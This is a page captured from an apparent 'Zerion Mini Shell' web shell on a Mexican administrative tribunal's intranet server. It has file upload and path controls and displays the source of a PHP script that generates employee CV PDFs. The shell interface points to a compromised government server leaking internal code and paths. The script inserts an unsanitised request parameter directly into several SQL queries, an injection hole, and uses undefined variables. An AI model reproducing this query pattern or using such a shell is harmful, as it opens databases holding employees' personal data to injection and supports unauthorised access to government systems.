%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/pdfcv_tjamich.php

<?php





if (!isset($controller)) {

    require './flowing_blockv5.php';

    include "../../config/config.php";

    $conf = new Configuracion();

    $conf->conectarBD();

}

$id_empleado =  isset($_REQUEST['id_empleado']) ? $_REQUEST['id_empleado'] : 0;



$consulta = "SELECT CONCAT(e.nombre, ' ', e.apellido1, ' ', e.apellido2) AS nombre, p.puesto, e.rfc 

                            FROM tjam_empleados e 

                             LEFT JOIN tjam_empleados_plazas ep ON (ep.id_empleado = e.id)

                            LEFT JOIN tjam_plantilla pla ON (ep.id_plantilla = pla.id_plantilla)

                            LEFT JOIN tjam_areas a ON (pla.id_area = a.id_area)

                            LEFT JOIN tjam_puestos p ON (pla.id_puesto = p.id_puesto)

                            WHERE e.id = $id_empleado AND e.habilitado=1";

$rst1 = $conf->consulta($consulta);



if (count($rst1) > 0) {

    $nombre = $rst1[0]['nombre'];

    $puesto = $rst1[0]['puesto'];

    $rfc    = $rst1[0]['rfc'];

    $plaza    = $rst1[0]['plaza'];

}

$puesto = $puesto . " DEL TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN";

$cargo_empleado = mb_strtoupper($puesto);

$nombre_empleado = mb_strtoupper($nombre . ' ' . $apellido1 . ' ' . $apellido2);



$consultaf = "SELECT e.fecha_registro

                FROM tjam_empleados_curriculum e

                WHERE e.id_empleado= $id_empleado AND habilitado = 1

                ORDER BY e.fecha_registro DESC LIMIT 1";

$rstf = $conf->consulta($consultaf);



$fecha_registro = $rstf[0]['fecha_registro'];



$fecha_busquedaf = explode('-', $fecha_registro);

$fecha_aniof = $fecha_busquedaf[0];

$fecha_mesf = $fecha_busquedaf[1];

$fecha_diaf = substr($fecha_busquedaf[2], 0, 2); 

$fecha_anio_letraf = numtoletras($fecha_aniof);

$fecha_mes_letraf = mesATexto($fecha_mesf);

$fecha_dia_letraf = numtoletras($fecha_diaf);



$fecha_mes_letraf = strtolower($fecha_mes_letraf);

$fecha_mes_letraf = ucwords($fecha_mes_letraf);



if(count($rstf) > 0)

    $pie_pagina = utf8_decode('Última actualización: ' . $fecha_diaf . ' de ' . $fecha_mes_letraf . ' del ' . $fecha_aniof . '.');

else

   $pie_pagina = '';  









$pdf = new PDF_FlowingBlock();



$pdf->AddPage();





// FOTOGRAFIA

$pdf->Image('./img/membretadocv.jpg', 0, 0, -148);

$pdf->SetTextColor(0, 0, 0);

$pdf->SetY(276);

$pdf->SetFont('Arial', 'I', 12);

$pdf->Cell(185, 0, '' . $pie_pagina . '', 0, 1, 'R');

$pdf->SetY(5);



$pdf->SetTextColor(100, 100, 100);

$pdf->SetFillColor(65, 0, 25);



// Cabecera

$pdf->SetFont('helvetica', 'B', 24);

$pdf->WriteHTML('<br>');

$pdf->Cell(185, 5, utf8_decode('Curriculum Vitae'), 0, 1, 'L', 0);

$pdf->Ln(-7);

$pdf->SetFont('helvetica', 'B', 11);

$pdf->Cell(185, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA'), 0, 1, 'R', 0);

$pdf->Cell(185, 5, utf8_decode('DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'R', 0);

$pdf->WriteHTML('<br><br><br>');







// DATO

$pdf->SetTextColor(0, 0, 0);

$pdf->SetFont('helvetica', 'B', 14);

$pdf->Cell(35, 5, utf8_decode('Nombre'), 0, 0, 'L', 0);

$pdf->Cell(1, 5, utf8_decode(''), 0, 0, 'L', 1);

$pdf->SetFont('helvetica', '', 14);

$pdf->Cell(4, 5, utf8_decode(''), 0, 0, 'L', 0);

$pdf->Cell(145, 5, utf8_decode('' . $nombre_empleado . ''), 0, 1, 'L', 0);

$pdf->WriteHTML('<br><br>');





// DATO

$pdf->SetFont('helvetica', 'B', 14);

$pdf->Cell(35, 5, utf8_decode('Cargo'), 0, 0, 'L', 0);

// DIBUJAR LINEA

if (strlen($cargo_empleado) > 45) {

    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

    $pdf->Cell(1, 5, utf8_decode(''), 0, 0, 'L', 1);

    $pdf->Ln(-5);

    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

} else {

    $pdf->Cell(1, 5, utf8_decode(''), 0, 0, 'L', 1);

}

$pdf->SetFont('helvetica', 'B', 14);

$pdf->Cell(4, 5, utf8_decode(''), 0, 0, 'L', 0);

$pdf->Multicell(145, 5, utf8_decode('' . $cargo_empleado . ''), 0, 'L', 0);

$pdf->WriteHTML('<br><br>');



$contadorsalto = 0;

// $contadorsalto = 40;





$consulta2 = "SELECT e.*

                FROM tjam_empleados_curriculum e

                WHERE e.id_empleado= $id_empleado AND e.tipo_documento='1'  AND habilitado = 1

                ORDER BY e.fecha_inicio DESC, e.id_curriculum DESC";

$rst2 = $conf->consulta($consulta2);





if (count($rst2) > 0) {

    // DATO

    $pdf->SetFont('helvetica', 'B', 14);

    $pdf->Cell(35, 5, utf8_decode('Grado'), 0, 0, 'L', 0);

    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

    $pdf->Cell(35, 5, utf8_decode('Académico'), 0, 0, 'L', 0);

    $pdf->Cell(1, 5, utf8_decode(''), 0, 0, 'L', 1);

    $contadorsalto = $contadorsalto + 1;

    $pdf->Ln(-5);

    $pdf->SetFont('helvetica', '', 14);



        $url_pdf = '';

        $documento = '';



    for ($i = 0; $i < count($rst2); $i++) {





        if($rst2[$i]["url_pdf"] != 0)

        {

            $url_pdf = 'https://tjamich.gob.mx/intranet/intranet/sistemas/adjuntoscv/' . $rst2[$i]["url_pdf"] . '';

            $documento = '(ver documento)     ';

        }

        if ($contadorsalto >= 40) {

            // NUEVA PAGINA

            $pdf->AddPage();



            // FOTOGRAFIA

            $pdf->Image('./img/membretadocv.jpg', 0, 0, -148);

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetY(276);

            $pdf->SetFont('Arial', 'I', 12);

            $pdf->Cell(185, 0, '' . $pie_pagina . '', 0, 1, 'R');

            $pdf->SetY(5);



            $pdf->SetTextColor(100, 100, 100);

            $pdf->SetFillColor(65, 0, 25);



            // Cabecera

            $pdf->SetFont('helvetica', 'B', 24);

            $pdf->WriteHTML('<br>');

            $pdf->Cell(185, 5, utf8_decode('Curriculum Vitae'), 0, 1, 'L', 0);

            $pdf->Ln(-7);

            $pdf->SetFont('helvetica', 'B', 11);

            $pdf->Cell(185, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA'), 0, 1, 'R', 0);

            $pdf->Cell(185, 5, utf8_decode('DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'R', 0);

            $pdf->WriteHTML('<br><br><br>');

            $contadorsalto = 0;

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);



            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'L', 0);

            $descripcion = $rst3[$i]["descripcion"];

            $pdf->Multicell(145, 5, utf8_decode('' . $rst2[$i]["tipo_titulo"] . ' : ' . $rst2[$i]["descripcion"] . '.'), 0, 'L', 0);

            // DIBUJAR LINEA

            if (strlen($descripcion) > 60) {

                $linea = strlen($descripcion) / 60;

                $linea = intval($linea);

                $linea5 = $linea * 5;

                $pdf->Ln(-$linea5);

                for ($j = 0; $j < $linea; $j++) {

                    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                    $contadorsalto = $contadorsalto + 1;

                }

                $pdf->Ln(-10);

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            } else {

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            }

            $pdf->SetTextColor(0, 0, 200);

            $pdf->SetFont('helvetica', 'I', 12);

            $pdf->Cell(185, 5, utf8_decode($documento), 0, 1, 'R', 0, '' . $url_pdf . '');

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);

            $contadorsalto = $contadorsalto + 1;

        } else {



            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'L', 0);

            $descripcion = $rst3[$i]["descripcion"];

            $pdf->Multicell(145, 5, utf8_decode('' . $rst2[$i]["tipo_titulo"] . ' : ' . $rst2[$i]["descripcion"] . '.'), 0, 'L', 0);

            // DIBUJAR LINEA

            if (strlen($descripcion) > 60) {

                $linea = strlen($descripcion) / 60;

                $linea = intval($linea);

                $linea5 = $linea * 5;

                $pdf->Ln(-$linea5);

                for ($j = 0; $j < $linea; $j++) {

                    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                    $contadorsalto = $contadorsalto + 1;

                }

                $pdf->Ln(-10);

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            } else {

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            }

            $pdf->SetTextColor(0, 0, 200);

            $pdf->SetFont('helvetica', 'I', 12);

            $pdf->Cell(185, 5, utf8_decode($documento), 0, 1, 'R', 0, '' . $url_pdf . '');

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);

            $contadorsalto = $contadorsalto + 1;

        }

    }

    $pdf->WriteHTML('<br>');

    $contadorsalto = $contadorsalto + 2;



}





 

    // DATO

    $pdf->SetFont('helvetica', 'B', 14);

    $pdf->Cell(35, 5, utf8_decode('Experiencia'), 0, 0, 'L', 0);

    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

    $pdf->Ln(-5);

    $pdf->SetFont('helvetica', '', 14);



    $consulta3 = "SELECT e.*

                FROM tjam_empleados_curriculum e

                WHERE e.id_empleado= $id_empleado AND e.tipo_documento='2' AND habilitado = 1

                ORDER BY e.fecha_inicio DESC, e.id_curriculum DESC";

    $rst3 = $conf->consulta($consulta3);



    for ($i = 0; $i < count($rst3); $i++) {



               $url_pdf = '';

        $documento = '';



        if($rst3[$i]["url_pdf"] != 0)

        {

            $url_pdf = 'https://tjamich.gob.mx/intranet/intranet/sistemas/adjuntoscv/' . $rst3[$i]["url_pdf"] . '';

            $documento = '(ver documento)     ';

        }



        $fecha_busqueda1 = explode('-', $rst3[$i]["fecha_inicio"]);

        $fecha_anio1 = $fecha_busqueda1[0];

        $fecha_mes1 = $fecha_busqueda1[1];

        $fecha_dia1 = $fecha_busqueda1[2];

        $fecha_anio_letra1 = numtoletras($fecha_anio1);

        $fecha_mes_letra1 = mesATexto($fecha_mes1);

        $fecha_mes_letra1 = ucfirst($fecha_mes_letra1);

        $fecha_dia_letra1 = numtoletras($fecha_dia1);



        $fecha_busqueda2 = explode('-', $rst3[$i]["fecha_fin"]);

        $fecha_anio2 = $fecha_busqueda2[0];

        $fecha_mes2 = $fecha_busqueda2[1];

        $fecha_dia2 = $fecha_busqueda2[2];

        $fecha_anio_letra2 = numtoletras($fecha_anio2);

        $fecha_mes_letra2 = mesATexto($fecha_mes2);

        $fecha_mes_letra2 = ucfirst($fecha_mes_letra2);

        $fecha_dia_letra2 = numtoletras($fecha_dia2);



        if ($rst3[$i]["fecha_fin"] == '0000-00-00') {

            $fecha_periodo = '' . $fecha_dia1 . ' de ' . $fecha_mes_letra1 . ' del ' . $fecha_anio1 . ' a la fecha';

        } else {

            if ($fecha_anio1 == $fecha_anio2) {

                $fecha_periodo = '' . $fecha_dia1 . ' de ' . strtolower($fecha_mes_letra1) . ' al ' . $fecha_dia2 . ' de ' . strtolower($fecha_mes_letra2) . ' del ' . strtolower($fecha_anio2) . '';

            } else {

                $fecha_periodo = '' . $fecha_dia1 . ' de ' . strtolower($fecha_mes_letra1) . ' del ' . $fecha_anio1 . ' al ' . strtolower($fecha_dia2) . ' de ' . strtolower($fecha_mes_letra2) . ' del ' . $fecha_anio2 . '';

            }

        }





        if ($contadorsalto >= 40) {

            // NUEVA PAGINA

            $pdf->AddPage();



            // FOTOGRAFIA

            $pdf->Image('./img/membretadocv.jpg', 0, 0, -148);

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetY(276);

            $pdf->SetFont('Arial', 'I', 12);

            $pdf->Cell(185, 0, '' . $pie_pagina . '', 0, 1, 'R');

            $pdf->SetY(5);



            $pdf->SetTextColor(100, 100, 100);

            $pdf->SetFillColor(65, 0, 25);



            // Cabecera

            $pdf->SetFont('helvetica', 'B', 24);

            $pdf->WriteHTML('<br>');

            $pdf->Cell(185, 5, utf8_decode('Curriculum Vitae'), 0, 1, 'L', 0);

            $pdf->Ln(-7);

            $pdf->SetFont('helvetica', 'B', 11);

            $pdf->Cell(185, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA'), 0, 1, 'R', 0);

            $pdf->Cell(185, 5, utf8_decode('DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'R', 0);

            $pdf->WriteHTML('<br><br><br>');

            $contadorsalto = 0;

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);





            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'L', 0);

            $descripcion = $fecha_periodo . ', ' . $rst3[$i]["descripcion"];

            $pdf->Multicell(145, 5, utf8_decode('Del ' . $fecha_periodo . ', ' . $rst3[$i]["descripcion"] . '.'), 0, 'L', 0);

            // DIBUJAR LINEA

            if (strlen($descripcion) > 45) {

                $linea = strlen($descripcion) / 45;

                $linea = intval($linea);

                $linea5 = $linea * 5;

                $pdf->Ln(-$linea5);

                for ($j = 0; $j < $linea; $j++) {

                    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                    $contadorsalto = $contadorsalto + 1;

                }

                $pdf->Ln(-10);

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            } else {

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            }

            $pdf->SetTextColor(0, 0, 200);

            $pdf->SetFont('helvetica', 'I', 12);

            $pdf->Cell(185, 5, utf8_decode($documento), 0, 1, 'R', 0, '' . $url_pdf . '');

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);

            $contadorsalto = $contadorsalto + 1;

        } else {



            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'L', 0);

            $descripcion = $fecha_periodo . ', ' . $rst3[$i]["descripcion"];

            $pdf->Multicell(145, 5, utf8_decode('Del ' . $fecha_periodo . ', ' . $rst3[$i]["descripcion"]), 0, 'L', 0);

            // DIBUJAR LINEA

            if (strlen($descripcion) > 45) {

                $linea = strlen($descripcion) / 45;

                $linea = intval($linea);

                $linea5 = $linea * 5;

                $pdf->Ln(-$linea5);

                for ($j = 0; $j < $linea; $j++) {

                    $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                    $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                    $contadorsalto = $contadorsalto + 1;

                }

                $pdf->Ln(-10);

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            } else {

                $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'L', 0);

                $pdf->Cell(1, 5, utf8_decode(''), 0, 1, 'L', 1);

                $pdf->WriteHTML('<br>');

            }

            $pdf->SetTextColor(0, 0, 200);

            $pdf->SetFont('helvetica', 'I', 12);

            $pdf->Cell(185, 5, utf8_decode($documento), 0, 1, 'R', 0, '' . $url_pdf . '');

            $pdf->SetTextColor(0, 0, 0);

            $pdf->SetFont('helvetica', '', 14);

            $contadorsalto = $contadorsalto + 1;

        }

    }



$conf->desconectarDB();



$pdf->Output();



?>

Zerion Mini Shell 1.0